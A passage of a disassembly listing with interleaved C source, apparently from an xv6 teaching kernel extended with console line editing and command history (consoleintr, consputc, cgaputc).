call 80105dfa <memset> } outb(CRTPORT, 14); 80100a1b: c7 44 24 04 0e 00 00 movl $0xe,0x4(%esp) 80100a22: 00 80100a23: c7 04 24 d4 03 00 00 movl $0x3d4,(%esp) 80100a2a: e8 ab f8 ff ff call 801002da <outb> outb(CRTPORT+1, pos>>8); 80100a2f: 8b 45 f4 mov -0xc(%ebp),%eax 80100a32: c1 f8 08 sar $0x8,%eax 80100a35: 0f b6 c0 movzbl %al,%eax 80100a38: 89 44 24 04 mov %eax,0x4(%esp) 80100a3c: c7 04 24 d5 03 00 00 movl $0x3d5,(%esp) 80100a43: e8 92 f8 ff ff call 801002da <outb> outb(CRTPORT, 15); 80100a48: c7 44 24 04 0f 00 00 movl $0xf,0x4(%esp) 80100a4f: 00 80100a50: c7 04 24 d4 03 00 00 movl $0x3d4,(%esp) 80100a57: e8 7e f8 ff ff call 801002da <outb> outb(CRTPORT+1, pos); 80100a5c: 8b 45 f4 mov -0xc(%ebp),%eax 80100a5f: 0f b6 c0 movzbl %al,%eax 80100a62: 89 44 24 04 mov %eax,0x4(%esp) 80100a66: c7 04 24 d5 03 00 00 movl $0x3d5,(%esp) 80100a6d: e8 68 f8 ff ff call 801002da <outb> if (c != KEY_LF && c != KEY_RT && c != KEY_UP && c != KEY_DN && c != '\n' && !tmpPos ) 80100a72: 8b 45 08 mov 0x8(%ebp),%eax 80100a75: 3d e4 00 00 00 cmp $0xe4,%eax 80100a7a: 74 40 je 80100abc <cgaputc+0x4c6> 80100a7c: 8b 45 08 mov 0x8(%ebp),%eax 80100a7f: 3d e5 00 00 00 cmp $0xe5,%eax 80100a84: 74 36 je 80100abc <cgaputc+0x4c6> 80100a86: 8b 45 08 mov 0x8(%ebp),%eax 80100a89: 3d e2 00 00 00 cmp $0xe2,%eax 80100a8e: 74 2c je 80100abc <cgaputc+0x4c6> 80100a90: 8b 45 08 mov 0x8(%ebp),%eax 80100a93: 3d e3 00 00 00 cmp $0xe3,%eax 80100a98: 74 22 je 80100abc <cgaputc+0x4c6> 80100a9a: 8b 45 08 mov 0x8(%ebp),%eax 80100a9d: 83 f8 0a cmp $0xa,%eax 80100aa0: 74 1a je 80100abc <cgaputc+0x4c6> 80100aa2: a1 18 c6 10 80 mov 0x8010c618,%eax 80100aa7: 85 c0 test %eax,%eax 80100aa9: 75 11 jne 80100abc <cgaputc+0x4c6> crt[pos] = ' ' | 0x0700; 80100aab: a1 00 a0 10 80 mov 0x8010a000,%eax 80100ab0: 8b 55 f4 mov -0xc(%ebp),%edx 80100ab3: 01 d2 add %edx,%edx 80100ab5: 01 d0 add %edx,%eax 80100ab7: 66 c7 00 20 07 movw $0x720,(%eax) } 80100abc: 83 c4 44 add $0x44,%esp 80100abf: 5b pop %ebx 80100ac0: 5d pop %ebp 80100ac1: c3 ret 80100ac2 <consputc>: void consputc(int c) { 80100ac2: 55 push %ebp 80100ac3: 89 e5 mov %esp,%ebp 80100ac5: 83 ec 18 sub $0x18,%esp if(panicked){ 80100ac8: a1 cc c5 10 80 mov 0x8010c5cc,%eax 80100acd: 85 c0 test %eax,%eax 80100acf: 74 07 je 80100ad8 <consputc+0x16> cli(); 80100ad1: e8 22 f8 ff ff call 801002f8 <cli> for(;;) ; 80100ad6: eb fe jmp 80100ad6 <consputc+0x14> } switch(c) { 80100ad8: 8b 45 08 mov 0x8(%ebp),%eax 80100adb: 3d 00 01 00 00 cmp $0x100,%eax 80100ae0: 75 26 jne 80100b08 <consputc+0x46> case BACKSPACE: uartputc('\b'); uartputc(' '); uartputc('\b'); break; 80100ae2: c7 04 24 08 00 00 00 movl $0x8,(%esp) 80100ae9: e8 17 6e 00 00 call 80107905 <uartputc> 80100aee: c7 04 24 20 00 00 00 movl $0x20,(%esp) 80100af5: e8 0b 6e 00 00 call 80107905 <uartputc> 80100afa: c7 04 24 08 00 00 00 movl $0x8,(%esp) 80100b01: e8 ff 6d 00 00 call 80107905 <uartputc> 80100b06: eb 0b jmp 80100b13 <consputc+0x51> default: uartputc(c); 80100b08: 8b 45 08 mov 0x8(%ebp),%eax 80100b0b: 89 04 24 mov %eax,(%esp) 80100b0e: e8 f2 6d 00 00 call 80107905 <uartputc> } cgaputc(c); 80100b13: 8b 45 08 mov 0x8(%ebp),%eax 80100b16: 89 04 24 mov %eax,(%esp) 80100b19: e8 d8 fa ff ff call 801005f6 <cgaputc> } 80100b1e: c9 leave 80100b1f: c3 ret 80100b20 <DeleteCurrentUnfinishedCommand>: #define C(x) ((x)-'@') // Control-x void DeleteCurrentUnfinishedCommand() { 80100b20: 55 push %ebp 80100b21: 89 e5 mov %esp,%ebp 80100b23: 83 ec 18 sub $0x18,%esp while(input.w < input.e) { // if we're in the middle of the command - go to the right 80100b26: eb 19 jmp 80100b41 <DeleteCurrentUnfinishedCommand+0x21> input.w++; 80100b28: a1 58 18 11 80 mov 0x80111858,%eax 80100b2d: 83 c0 01 add $0x1,%eax 80100b30: a3 58 18 11 80 mov %eax,0x80111858 consputc(KEY_RT); 80100b35: c7 04 24 e5 00 00 00 movl $0xe5,(%esp) 80100b3c: e8 81 ff ff ff call 80100ac2 <consputc> void DeleteCurrentUnfinishedCommand() { while(input.w < input.e) { // if we're in the middle of the command - go to the right 80100b41: 8b 15 58 18 11 80 mov 0x80111858,%edx 80100b47: a1 5c 18 11 80 mov 0x8011185c,%eax 80100b4c: 39 c2 cmp %eax,%edx 80100b4e: 72 d8 jb 80100b28 <DeleteCurrentUnfinishedCommand+0x8> input.w++; consputc(KEY_RT); } while(input.e != input.r && input.buf[(input.e-1) % INPUT_BUF] != '\n'){ // same as BACKSPACE: do it for entire line 80100b50: eb 35 jmp 80100b87 <DeleteCurrentUnfinishedCommand+0x67> input.e--; 80100b52: a1 5c 18 11 80 mov 0x8011185c,%eax 80100b57: 83 e8 01 sub $0x1,%eax 80100b5a: a3 5c 18 11 80 mov %eax,0x8011185c if(input.w != input.r) 80100b5f: 8b 15 58 18 11 80 mov 0x80111858,%edx 80100b65: a1 54 18 11 80 mov 0x80111854,%eax 80100b6a: 39 c2 cmp %eax,%edx 80100b6c: 74 0d je 80100b7b <DeleteCurrentUnfinishedCommand+0x5b> input.w--; 80100b6e: a1 58 18 11 80 mov 0x80111858,%eax 80100b73: 83 e8 01 sub $0x1,%eax 80100b76: a3 58 18 11 80 mov %eax,0x80111858 consputc(BACKSPACE); 80100b7b: c7 04 24 00 01 00 00 movl $0x100,(%esp) 80100b82: e8 3b ff ff ff call 80100ac2 <consputc> { while(input.w < input.e) { // if we're in the middle of the command - go to the right input.w++; consputc(KEY_RT); } while(input.e != input.r && input.buf[(input.e-1) % INPUT_BUF] != '\n'){ // same as BACKSPACE: do it for entire line 80100b87: 8b 15 5c 18 11 80 mov 0x8011185c,%edx 80100b8d: a1 54 18 11 80 mov 0x80111854,%eax 80100b92: 39 c2 cmp %eax,%edx 80100b94: 74 16 je 80100bac <DeleteCurrentUnfinishedCommand+0x8c> 80100b96: a1 5c 18 11 80 mov 0x8011185c,%eax 80100b9b: 83 e8 01 sub $0x1,%eax 80100b9e: 83 e0 7f and $0x7f,%eax 80100ba1: 0f b6 80 d4 17 11 80 movzbl -0x7feee82c(%eax),%eax 80100ba8: 3c 0a cmp $0xa,%al 80100baa: 75 a6 jne 80100b52 <DeleteCurrentUnfinishedCommand+0x32> input.e--; if(input.w != input.r) input.w--; consputc(BACKSPACE); } } 80100bac: c9 leave 80100bad: c3 ret 80100bae <consoleintr>: void consoleintr(int (*getc)(void)) { 80100bae: 55 push %ebp 80100baf: 89 e5 mov %esp,%ebp 80100bb1: 53 push %ebx 80100bb2: 83 ec 44 sub $0x44,%esp int c; acquire(&input.lock); 80100bb5: c7 04 24 a0 17 11 80 movl $0x801117a0,(%esp) 80100bbc: e8 ea 4f 00 00 call 80105bab <acquire> while((c = getc()) >= 0){ 80100bc1: e9 5a 05 00 00 jmp 80101120 <consoleintr+0x572> switch(c){ 80100bc6: 8b 45 d8 mov -0x28(%ebp),%eax 80100bc9: 83 f8 7f cmp $0x7f,%eax 80100bcc: 0f 84 ae 00 00 00 je 80100c80 <consoleintr+0xd2> 80100bd2: 83 f8 7f cmp $0x7f,%eax 80100bd5: 7f 18 jg 80100bef <consoleintr+0x41> 80100bd7: 83 f8 10 cmp $0x10,%eax 80100bda: 74 50 je 80100c2c <consoleintr+0x7e> 80100bdc: 83 f8 15 cmp $0x15,%eax 80100bdf: 74 70 je 80100c51 <consoleintr+0xa3> 80100be1: 83 f8 08 cmp $0x8,%eax 80100be4: 0f 84 96 00 00 00 je 80100c80 <consoleintr+0xd2> 80100bea: e9 5e 03 00 00 jmp 80100f4d <consoleintr+0x39f> 80100bef: 3d e3 00 00 00 cmp $0xe3,%eax 80100bf4: 0f 84 75 02 00 00 je 80100e6f <consoleintr+0x2c1> 80100bfa: 3d e3 00 00 00 cmp $0xe3,%eax 80100bff: 7f 10 jg 80100c11 <consoleintr+0x63> 80100c01: 3d e2 00 00 00 cmp $0xe2,%eax 80100c06: 0f 84 6b 01 00 00 je 80100d77 <consoleintr+0x1c9> 80100c0c: e9 3c 03 00 00 jmp 80100f4d <consoleintr+0x39f> 80100c11: 3d e4 00 00 00 cmp $0xe4,%eax 80100c16: 0f 84 f9 00 00 00 je 80100d15 <consoleintr+0x167> 80100c1c: 3d e5 00 00 00 cmp $0xe5,%eax 80100c21: 0f 84 1f 01 00 00 je 80100d46 <consoleintr+0x198> 80100c27: e9 21 03 00 00 jmp 80100f4d <consoleintr+0x39f> case C('P'): // Process listing. procdump(); 80100c2c: e8 1d 4c 00 00 call 8010584e <procdump> break; 80100c31: e9 ea 04 00 00 jmp 80101120 <consoleintr+0x572> case C('U'): // Kill line. while(input.e != input.w && input.buf[(input.e-1) % INPUT_BUF] != '\n'){ input.e--; 80100c36: a1 5c 18 11 80 mov 0x8011185c,%eax 80100c3b: 83 e8 01 sub $0x1,%eax 80100c3e: a3 5c 18 11 80 mov %eax,0x8011185c consputc(BACKSPACE); 80100c43: c7 04 24 00 01 00 00 movl $0x100,(%esp) 80100c4a: e8 73 fe ff ff call 80100ac2 <consputc> 80100c4f: eb 01 jmp 80100c52 <consoleintr+0xa4> switch(c){ case C('P'): // Process listing. procdump(); break; case C('U'): // Kill line. while(input.e != input.w && input.buf[(input.e-1) % INPUT_BUF] != '\n'){ 80100c51: 90 nop 80100c52: 8b 15 5c 18 11 80 mov 0x8011185c,%edx 80100c58: a1 58 18 11 80 mov 0x80111858,%eax 80100c5d: 39 c2 cmp %eax,%edx 80100c5f: 0f 84 a5 04 00 00 je 8010110a <consoleintr+0x55c> 80100c65: a1 5c 18 11 80 mov 0x8011185c,%eax 80100c6a: 83 e8 01 sub $0x1,%eax 80100c6d: 83 e0 7f and $0x7f,%eax 80100c70: 0f b6 80 d4 17 11 80 movzbl -0x7feee82c(%eax),%eax 80100c77: 3c 0a cmp $0xa,%al 80100c79: 75 bb jne 80100c36 <consoleintr+0x88> input.e--; consputc(BACKSPACE); } break; 80100c7b: e9 8a 04 00 00 jmp 8010110a <consoleintr+0x55c> case C('H'): case '\x7f': // Backspace if(input.w != input.r) { 80100c80: 8b 15 58 18 11 80 mov 0x80111858,%edx 80100c86: a1 54 18 11 80 mov 0x80111854,%eax 80100c8b: 39 c2 cmp %eax,%edx 80100c8d: 0f 84 7a 04 00 00 je 8010110d <consoleintr+0x55f> int forwardPos = input.w; 80100c93: a1 58 18 11 80 mov 0x80111858,%eax 80100c98: 89 45 f4 mov %eax,-0xc(%ebp) int j; for (j = 0 ; j < input.e-input.w ; j++){ // take the rest of the line on the right 1 place to the left 80100c9b: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 80100ca2: eb 2d jmp 80100cd1 <consoleintr+0x123> input.buf[forwardPos-1 % INPUT_BUF] = input.buf[forwardPos % INPUT_BUF]; 80100ca4: 8b 45 f4 mov -0xc(%ebp),%eax 80100ca7: 8d 48 ff lea -0x1(%eax),%ecx 80100caa: 8b 45 f4 mov -0xc(%ebp),%eax 80100cad: 89 c2 mov %eax,%edx 80100caf: c1 fa 1f sar $0x1f,%edx 80100cb2: c1 ea 19 shr $0x19,%edx 80100cb5: 01 d0 add %edx,%eax 80100cb7: 83 e0 7f and $0x7f,%eax 80100cba: 29 d0 sub %edx,%eax 80100cbc: 0f b6 80 d4 17 11 80 movzbl -0x7feee82c(%eax),%eax 80100cc3: 88 81 d4 17 11 80 mov %al,-0x7feee82c(%ecx) forwardPos++; 80100cc9: 83 45 f4 01 addl $0x1,-0xc(%ebp) break; case C('H'): case '\x7f': // Backspace if(input.w != input.r) { int forwardPos = input.w; int j; for (j = 0 ; j < input.e-input.w ; j++){ // take the rest of the line on the right 1 place to the left 80100ccd: 83 45 f0 01 addl $0x1,-0x10(%ebp) 80100cd1: 8b 45 f0 mov -0x10(%ebp),%eax 80100cd4: 8b 0d 5c 18 11 80 mov 0x8011185c,%ecx 80100cda: 8b 15 58 18 11 80 mov 0x80111858,%edx 80100ce0: 89 cb mov %ecx,%ebx 80100ce2: 29 d3 sub %edx,%ebx 80100ce4: 89 da mov %ebx,%edx 80100ce6: 39 d0 cmp %edx,%eax 80100ce8: 72 ba jb 80100ca4 <consoleintr+0xf6> input.buf[forwardPos-1 % INPUT_BUF] = input.buf[forwardPos % INPUT_BUF]; forwardPos++; } input.e--; 80100cea: a1 5c 18 11 80 mov 0x8011185c,%eax 80100cef: 83 e8 01 sub $0x1,%eax 80100cf2: a3 5c 18 11 80 mov %eax,0x8011185c input.w--; 80100cf7: a1 58 18 11 80 mov 0x80111858,%eax 80100cfc: 83 e8 01 sub $0x1,%eax 80100cff: a3 58 18 11 80 mov %eax,0x80111858 consputc(BACKSPACE); 80100d04: c7 04 24 00 01 00 00 movl $0x100,(%esp) 80100d0b: e8 b2 fd ff ff call 80100ac2 <consputc> } break; 80100d10: e9 f8 03 00 00 jmp 8010110d <consoleintr+0x55f> case KEY_LF: if(input.r < input.w) { 80100d15: 8b 15 54 18 11 80 mov 0x80111854,%edx 80100d1b: a1 58 18 11 80 mov 0x80111858,%eax 80100d20: 39 c2 cmp %eax,%edx 80100d22: 0f 83 e8 03 00 00 jae 80101110 <consoleintr+0x562> input.w--; 80100d28: a1 58 18 11 80 mov 0x80111858,%eax 80100d2d: 83 e8 01 sub $0x1,%eax 80100d30: a3 58 18 11 80 mov %eax,0x80111858 consputc(KEY_LF); 80100d35: c7 04 24 e4 00 00 00 movl $0xe4,(%esp) 80100d3c: e8 81 fd ff ff call 80100ac2 <consputc> } break; 80100d41: e9 ca 03 00 00 jmp 80101110 <consoleintr+0x562> case KEY_RT: if(input.w < input.e) { 80100d46: 8b 15 58 18 11 80 mov 0x80111858,%edx 80100d4c: a1 5c 18 11 80 mov 0x8011185c,%eax 80100d51: 39 c2 cmp %eax,%edx 80100d53: 0f 83 ba 03 00 00 jae 80101113 <consoleintr+0x565> input.w++; 80100d59: a1 58 18 11 80 mov 0x80111858,%eax 80100d5e: 83 c0 01 add $0x1,%eax 80100d61: a3 58 18 11 80 mov %eax,0x80111858 consputc(KEY_RT); 80100d66: c7 04 24 e5 00 00 00 movl $0xe5,(%esp) 80100d6d: e8 50 fd ff ff call 80100ac2 <consputc> } break; 80100d72: e9 9c 03 00 00 jmp 80101113 <consoleintr+0x565> case KEY_UP: if (commandExecuted == 0 && historyArrayIsFull == 0) { // no history yet, nothing been executed 80100d77: a1 c0 c5 10 80 mov 0x8010c5c0,%eax 80100d7c: 85 c0 test %eax,%eax 80100d7e: 75 0d jne 80100d8d <consoleintr+0x1df> 80100d80: a1 c4 c5 10 80 mov 0x8010c5c4,%eax 80100d85: 85 c0 test %eax,%eax 80100d87: 0f 84 93 03 00 00 je 80101120 <consoleintr+0x572> break; } else if (commandExecuted-currentHistoryPos == 0 && historyArrayIsFull==0) { // we are at the last command executed, can't go up 80100d8d: 8b 15 c0 c5 10 80 mov 0x8010c5c0,%edx 80100d93: a1 c8 c5 10 80 mov 0x8010c5c8,%eax 80100d98: 39 c2 cmp %eax,%edx 80100d9a: 75 0d jne 80100da9 <consoleintr+0x1fb> 80100d9c: a1 c4 c5 10 80 mov 0x8010c5c4,%eax 80100da1: 85 c0 test %eax,%eax 80100da3: 0f 84 77 03 00 00 je 80101120 <consoleintr+0x572> break; } else if (currentHistoryPos != MAX_HISTORY) { // can perform history execution. 80100da9: a1 c8 c5 10 80 mov 0x8010c5c8,%eax 80100dae: 83 f8 10 cmp $0x10,%eax 80100db1: 0f 84 5f 03 00 00 je 80101116 <consoleintr+0x568> if(currentHistoryPos < MAX_HISTORY){ 80100db7: a1 c8 c5 10 80 mov 0x8010c5c8,%eax 80100dbc: 83 f8 0f cmp $0xf,%eax 80100dbf: 7f 0d jg 80100dce <consoleintr+0x220> currentHistoryPos = currentHistoryPos + 1; 80100dc1: a1 c8 c5 10 80 mov 0x8010c5c8,%eax 80100dc6: 83 c0 01 add $0x1,%eax 80100dc9: a3 c8 c5 10 80 mov %eax,0x8010c5c8 } DeleteCurrentUnfinishedCommand(); 80100dce: e8 4d fd ff ff call 80100b20 <DeleteCurrentUnfinishedCommand> int tmpIndex = modThatDealsWithNegatives((commandExecuted - currentHistoryPos), MAX_HISTORY); 80100dd3: 8b 15 c0 c5 10 80 mov 0x8010c5c0,%edx 80100dd9: a1 c8 c5 10 80 mov 0x8010c5c8,%eax 80100dde: 89 d1 mov %edx,%ecx 80100de0: 29 c1 sub %eax,%ecx 80100de2: 89 c8 mov %ecx,%eax 80100de4: c7 44 24 04 10 00 00 movl $0x10,0x4(%esp) 80100deb: 00 80100dec: 89 04 24 mov %eax,(%esp) 80100def: e8 d9 f7 ff ff call 801005cd <modThatDealsWithNegatives> 80100df4: 89 45 d4 mov %eax,-0x2c(%ebp) int j; for (j = 0 ; j<strlen(historyArray[tmpIndex])-1 ; j++){ 80100df7: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) 80100dfe: eb 43 jmp 80100e43 <consoleintr+0x295> c = historyArray[tmpIndex][j]; 80100e00: 8b 45 d4 mov -0x2c(%ebp),%eax 80100e03: c1 e0 07 shl $0x7,%eax 80100e06: 03 45 ec add -0x14(%ebp),%eax 80100e09: 05 60 18 11 80 add $0x80111860,%eax 80100e0e: 0f b6 00 movzbl (%eax),%eax 80100e11: 0f be c0 movsbl %al,%eax 80100e14: 89 45 d8 mov %eax,-0x28(%ebp) input.buf[input.w++ % INPUT_BUF] = c; 80100e17: a1 58 18 11 80 mov 0x80111858,%eax 80100e1c: 89 c1 mov %eax,%ecx 80100e1e: 83 e1 7f and $0x7f,%ecx 80100e21: 8b 55 d8 mov -0x28(%ebp),%edx 80100e24: 88 91 d4 17 11 80 mov %dl,-0x7feee82c(%ecx) 80100e2a: 83 c0 01 add $0x1,%eax 80100e2d: a3 58 18 11 80 mov %eax,0x80111858 input.e++; 80100e32: a1 5c 18 11 80 mov 0x8011185c,%eax 80100e37: 83 c0 01 add $0x1,%eax 80100e3a: a3 5c 18 11 80 mov %eax,0x8011185c currentHistoryPos = currentHistoryPos + 1; } DeleteCurrentUnfinishedCommand(); int tmpIndex = modThatDealsWithNegatives((commandExecuted - currentHistoryPos), MAX_HISTORY); int j; for (j = 0 ; j<strlen(historyArray[tmpIndex])-1 ; j++){ 80100e3f: 83 45 ec 01 addl $0x1,-0x14(%ebp) 80100e43: 8b 45 d4 mov -0x2c(%ebp),%eax 80100e46: c1 e0 07 shl $0x7,%eax 80100e49: 05 60 18 11 80 add $0x80111860,%eax 80100e4e: 89 04 24 mov %eax,(%esp) 80100e51: e8 22 52 00 00 call 80106078 <strlen> 80100e56: 83 e8 01 sub $0x1,%eax 80100e59: 3b 45 ec cmp -0x14(%ebp),%eax 80100e5c: 7f a2 jg 80100e00 <consoleintr+0x252> c = historyArray[tmpIndex][j]; input.buf[input.w++ % INPUT_BUF] = c; input.e++; } consputc(KEY_UP); 80100e5e: c7 04 24 e2 00 00 00 movl $0xe2,(%esp) 80100e65: e8 58 fc ff ff call 80100ac2 <consputc> } break; 80100e6a: e9 a7 02 00 00 jmp 80101116 <consoleintr+0x568> case KEY_DN: if (commandExecuted == 0 && historyArrayIsFull == 0) { 80100e6f: a1 c0 c5 10 80 mov 0x8010c5c0,%eax 80100e74: 85 c0 test %eax,%eax 80100e76: 75 0d jne 80100e85 <consoleintr+0x2d7> 80100e78: a1 c4 c5 10 80 mov 0x8010c5c4,%eax 80100e7d: 85 c0 test %eax,%eax 80100e7f: 0f 84 9b 02 00 00 je 80101120 <consoleintr+0x572> break; } else if (currentHistoryPos==0 ) { 80100e85: a1 c8 c5 10 80 mov 0x8010c5c8,%eax 80100e8a: 85 c0 test %eax,%eax 80100e8c: 0f 84 87 02 00 00 je 80101119 <consoleintr+0x56b> break; } else if (currentHistoryPos) { 80100e92: a1 c8 c5 10 80 mov 0x8010c5c8,%eax 80100e97: 85 c0 test %eax,%eax 80100e99: 0f 84 7d 02 00 00 je 8010111c <consoleintr+0x56e> currentHistoryPos = currentHistoryPos - 1; 80100e9f: a1 c8 c5 10 80 mov 0x8010c5c8,%eax 80100ea4: 83 e8 01 sub $0x1,%eax 80100ea7: a3 c8 c5 10 80 mov %eax,0x8010c5c8 DeleteCurrentUnfinishedCommand(); 80100eac: e8 6f fc ff ff call 80100b20 <DeleteCurrentUnfinishedCommand> int tmpIndex = modThatDealsWithNegatives((commandExecuted - currentHistoryPos), MAX_HISTORY); 80100eb1: 8b 15 c0 c5 10 80 mov 0x8010c5c0,%edx 80100eb7: a1 c8 c5 10 80 mov 0x8010c5c8,%eax 80100ebc: 89 d3 mov %edx,%ebx 80100ebe: 29 c3 sub %eax,%ebx 80100ec0: 89 d8 mov %ebx,%eax 80100ec2: c7 44 24 04 10 00 00 movl $0x10,0x4(%esp) 80100ec9: 00 80100eca: 89 04 24 mov %eax,(%esp) 80100ecd: e8 fb f6 ff ff call 801005cd <modThatDealsWithNegatives> 80100ed2: 89 45 d0 mov %eax,-0x30(%ebp) int j; for (j = 0 ; j<strlen(historyArray[tmpIndex])-1 ; j++){ 80100ed5: c7 45 e8 00 00 00 00 movl $0x0,-0x18(%ebp) 80100edc: eb 43 jmp 80100f21 <consoleintr+0x373> c = historyArray[tmpIndex][j]; 80100ede: 8b 45 d0 mov -0x30(%ebp),%eax 80100ee1: c1 e0 07 shl $0x7,%eax 80100ee4: 03 45 e8 add -0x18(%ebp),%eax 80100ee7: 05 60 18 11 80 add $0x80111860,%eax 80100eec: 0f b6 00 movzbl (%eax),%eax 80100eef: 0f be c0 movsbl %al,%eax 80100ef2: 89 45 d8 mov %eax,-0x28(%ebp) input.buf[input.w++ % INPUT_BUF] = c; 80100ef5: a1 58 18 11 80 mov 0x80111858,%eax 80100efa: 89 c1 mov %eax,%ecx 80100efc: 83 e1 7f and $0x7f,%ecx 80100eff: 8b 55 d8 mov -0x28(%ebp),%edx 80100f02: 88 91 d4 17 11 80 mov %dl,-0x7feee82c(%ecx) 80100f08: 83 c0 01 add $0x1,%eax 80100f0b: a3 58 18 11 80 mov %eax,0x80111858 input.e++; 80100f10: a1 5c 18 11 80 mov 0x8011185c,%eax 80100f15: 83 c0 01 add $0x1,%eax 80100f18: a3 5c 18 11 80 mov %eax,0x8011185c else if (currentHistoryPos) { currentHistoryPos = currentHistoryPos - 1; DeleteCurrentUnfinishedCommand(); int tmpIndex = modThatDealsWithNegatives((commandExecuted - currentHistoryPos), MAX_HISTORY); int j; for (j = 0 ; j<strlen(historyArray[tmpIndex])-1 ; j++){ 80100f1d: 83 45 e8 01 addl $0x1,-0x18(%ebp) 80100f21: 8b 45 d0 mov -0x30(%ebp),%eax 80100f24: c1 e0 07 shl $0x7,%eax 80100f27: 05 60 18 11 80 add $0x80111860,%eax 80100f2c: 89 04 24 mov %eax,(%esp) 80100f2f: e8 44 51 00 00 call 80106078 <strlen> 80100f34: 83 e8 01 sub $0x1,%eax 80100f37: 3b 45 e8 cmp -0x18(%ebp),%eax 80100f3a: 7f a2 jg 80100ede <consoleintr+0x330> c = historyArray[tmpIndex][j]; input.buf[input.w++ % INPUT_BUF] = c; input.e++; } consputc(KEY_DN); 80100f3c: c7 04 24 e3 00 00 00 movl $0xe3,(%esp) 80100f43: e8 7a fb ff ff call 80100ac2 <consputc> } break; 80100f48: e9 cf 01 00 00 jmp 8010111c <consoleintr+0x56e> default: if(c != 0 && input.e-input.r < INPUT_BUF){ 80100f4d: 83 7d d8 00 cmpl $0x0,-0x28(%ebp) 80100f51: 0f 84 c8 01 00 00 je 8010111f <consoleintr+0x571> 80100f57: 8b 15 5c 18 11 80 mov 0x8011185c,%edx 80100f5d: a1 54 18 11 80 mov 0x80111854,%eax 80100f62: 89 d1 mov %edx,%ecx 80100f64: 29 c1 sub %eax,%ecx 80100f66: 89 c8 mov %ecx,%eax 80100f68: 83 f8 7f cmp $0x7f,%eax 80100f6b: 0f 87 ae 01 00 00 ja 8010111f <consoleintr+0x571> c = (c == '\r') ? '\n' : c; 80100f71: 83 7d d8 0d cmpl $0xd,-0x28(%ebp) 80100f75: 74 05 je 80100f7c <consoleintr+0x3ce> 80100f77: 8b 45 d8 mov -0x28(%ebp),%eax 80100f7a: eb 05 jmp 80100f81 <consoleintr+0x3d3> 80100f7c: b8 0a 00 00 00 mov $0xa,%eax 80100f81: 89 45 d8 mov %eax,-0x28(%ebp) if (c != '\n') { // regular write, not execute 80100f84: 83 7d d8 0a cmpl $0xa,-0x28(%ebp) 80100f88: 0f 84 81 00 00 00 je 8010100f <consoleintr+0x461> int forwardPos = input.e; 80100f8e: a1 5c 18 11 80 mov 0x8011185c,%eax 80100f93: 89 45 e4 mov %eax,-0x1c(%ebp) int j; for (j = 0 ; j<input.e-input.w ; j++){ 80100f96: c7 45 e0 00 00 00 00 movl $0x0,-0x20(%ebp) 80100f9d: eb 2d jmp 80100fcc <consoleintr+0x41e> input.buf[forwardPos % INPUT_BUF] = input.buf[forwardPos-1 % INPUT_BUF]; 80100f9f: 8b 45 e4 mov -0x1c(%ebp),%eax 80100fa2: 89 c2 mov %eax,%edx 80100fa4: c1 fa 1f sar $0x1f,%edx 80100fa7: c1 ea 19 shr $0x19,%edx 80100faa: 01 d0 add %edx,%eax 80100fac: 83 e0 7f and $0x7f,%eax 80100faf: 29 d0 sub %edx,%eax 80100fb1: 8b 55 e4 mov -0x1c(%ebp),%edx 80100fb4: 83 ea 01 sub $0x1,%edx 80100fb7: 0f b6 92 d4 17 11 80 movzbl -0x7feee82c(%edx),%edx 80100fbe: 88 90 d4 17 11 80 mov %dl,-0x7feee82c(%eax) forwardPos--; 80100fc4: 83 6d e4 01 subl $0x1,-0x1c(%ebp) if(c != 0 && input.e-input.r < INPUT_BUF){ c = (c == '\r') ? '\n' : c; if (c != '\n') { // regular write, not execute int forwardPos = input.e; int j; for (j = 0 ; j<input.e-input.w ; j++){ 80100fc8: 83 45 e0 01 addl $0x1,-0x20(%ebp) 80100fcc: 8b 45 e0 mov -0x20(%ebp),%eax 80100fcf: 8b 0d 5c 18 11 80 mov 0x8011185c,%ecx 80100fd5: 8b 15 58 18 11 80 mov 0x80111858,%edx 80100fdb: 89 cb mov %ecx,%ebx 80100fdd: 29 d3 sub %edx,%ebx 80100fdf: 89 da mov %ebx,%edx 80100fe1: 39 d0 cmp %edx,%eax 80100fe3: 72 ba jb 80100f9f <consoleintr+0x3f1> input.buf[forwardPos % INPUT_BUF] = input.buf[forwardPos-1 % INPUT_BUF]; forwardPos--; } input.buf[input.w++ % INPUT_BUF] = c; 80100fe5: a1 58 18 11 80 mov 0x80111858,%eax 80100fea: 89 c1 mov %eax,%ecx 80100fec: 83 e1 7f and $0x7f,%ecx 80100fef: 8b 55 d8 mov -0x28(%ebp),%edx 80100ff2: 88 91 d4 17 11 80 mov %dl,-0x7feee82c(%ecx) 80100ff8: 83 c0 01 add $0x1,%eax 80100ffb: a3 58 18 11 80 mov %eax,0x80111858 input.e++; 80101000: a1 5c 18 11 80 mov 0x8011185c,%eax 80101005: 83 c0 01 add $0x1,%eax 80101008: a3 5c 18 11 80 mov %eax,0x8011185c 8010100d: eb 1b jmp 8010102a <consoleintr+0x47c> } else { input.buf[input.e++ % INPUT_BUF] = c; 8010100f: a1 5c 18 11 80 mov 0x8011185c,%eax 80101014: 89 c1 mov %eax,%ecx 80101016: 83 e1 7f and $0x7f,%ecx 80101019: 8b 55 d8 mov -0x28(%ebp),%edx 8010101c: 88 91 d4 17 11 80 mov %dl,-0x7feee82c(%ecx) 80101022: 83 c0 01 add $0x1,%eax 80101025: a3 5c 18 11 80 mov %eax,0x8011185c } consputc(c); 8010102a: 8b 45 d8 mov -0x28(%ebp),%eax 8010102d: 89 04 24 mov %eax,(%esp) 80101030: e8 8d fa ff ff call 80100ac2 <consputc> if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){ 80101035: 83 7d d8 0a cmpl $0xa,-0x28(%ebp) 80101039: 74 1c je 80101057 <consoleintr+0x4a9> 8010103b: 83 7d d8 04 cmpl $0x4,-0x28(%ebp) 8010103f: 74 16 je 80101057 <consoleintr+0x4a9> 80101041: a1 5c 18 11 80 mov 0x8011185c,%eax 80101046: 8b 15 54 18 11 80 mov 0x80111854,%edx 8010104c: 83 ea 80 sub $0xffffff80,%edx 8010104f: 39 d0 cmp %edx,%eax 80101051: 0f 85 c8 00 00 00 jne 8010111f <consoleintr+0x571> currentHistoryPos=0; 80101057: c7 05 c8 c5 10 80 00 movl $0x0,0x8010c5c8 8010105e: 00 00 00 int tmpHistoryIndex; for (tmpHistoryIndex = 0 ; tmpHistoryIndex < input.e-input.r ; tmpHistoryIndex++){ // copy the command from the buffer to the historyArray at current position 80101061: c7 45 dc 00 00 00 00 movl $0x0,-0x24(%ebp) 80101068: eb 3b 